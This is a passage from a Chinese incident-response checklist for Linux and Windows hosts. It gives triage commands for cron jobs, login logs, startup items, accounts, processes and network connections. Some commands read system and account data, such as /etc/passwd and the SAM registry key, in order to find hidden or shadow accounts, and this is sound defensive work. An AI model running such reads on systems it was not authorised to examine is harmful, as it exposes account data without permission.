0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">8</span>/etc/anacrontab<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">9</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">/var/spool/anacron/</span>*<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">检查系统各个用户下是否存在计划任务</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">cat</span> /etc/passwd | cut -f <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span> -d : |xargs -I {} <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">crontab</span> -l -u {}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">3.登录日志</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">1)登录成功的IP</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">grep</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;Accepted &#34;</span> /var/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">log</span>/secure | awk <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#39;{print $11}&#39;</span> | <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">sort</span> | uniq -c | <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">sort</span> -nr | more<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">2)爆破用户名字典</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">grep</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;Failed password&#34;</span> /var/log/secure|perl -e <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#39;while(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$_</span>=&lt;&gt;){ /for(.*?) from/; print &#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$1</span>n&#34;;}&#39;</span>|uniq -c|sort -nr<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">登录成功的日期、用户名、IP</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">grep</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;Accepted &#34;</span> /var/log/secure | awk <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#39;{print <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$1</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$2</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$3</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$9</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$11</span>}&#39;</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">4.启动项</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">目录<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/etc/profile.d/</code>下的shell脚本</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">ls</span> -alt /etc/profile.d/<span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">*.sh</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">启动脚本的链接文件</p><blockquote style="line-height: inherit;display: block;padding: 15px 15px 15px 1rem;font-size: 0.9em;margin: 1em 0px;color: rgb(129, 145, 152);border-left: 6px solid rgb(220, 230, 240);background: rgb(242, 247, 251);overflow: auto;overflow-wrap: normal;word-break: normal;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 0px;">根据链接文件的名字来判断启动状态K开头表示不启动服务，S打头表示启动服务</p></blockquote><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>ls -alt /etc/rc.d/rc{*}.d<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">服务的启动脚本</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>ls -alt   <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">/etc/init.d/</span>*<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">启动项目检查</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>chkconfig --<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">list</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">5.服务</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">6.环境变量</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">env</span><br/></code></pre><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.2 Windows篇</span></h4><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.2.1 账号</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">查看当前登录账户</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">query</span> user<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">注销用户id</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>logoff {ID}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">查看用户</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">net</span> user<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">查看用户登录情况</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">net</span> user username<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">检查Guest账号是否被启动</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">打开本地用户组</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">lusrmgr</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">.msc</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">注册表查看账户，确认系统是否存在隐藏账户</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>HKEY_LOCAL_MACHINESAMSAMDomainsUsers\ regedit<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">检查影子账号，如：<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">admin$</code></p><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.2.2 日志</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">windows 日志分析：</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">参考：<a href="http://cn-sec.com/archives/1012483.html" target="_blank">http://cn-sec.com/archives/1012483.html</a></p><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.2.3 进程</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">msinfo32命令</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">msinfo32</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">获取进程md5</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>get-process | <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">where</span> path -ne <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$null</span> | %{Get-FileHash <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$_</span>.path -Algorithm md5}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">查看进程详情</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>wmic process <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">get</span> CreationDate,name,processid,commandline,ExecutablePath /<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">value</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">pid</code>进程对应服务</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>tasklist  /FI “pid e<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">q {pid}</span>” /svc<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">其他：<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Process Explorer</code></p><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.2.4 网络连接</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">查看：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">netstat</span>  -ano<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">已经成功建立的连接</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">netstat</span> -ano | findstr <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;ESTABLISHED&#34;</span><br/></code></pre><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.2.5 启动项</span></h5><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">msconfig</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>wmic startup<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">注册表中启动项:</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit 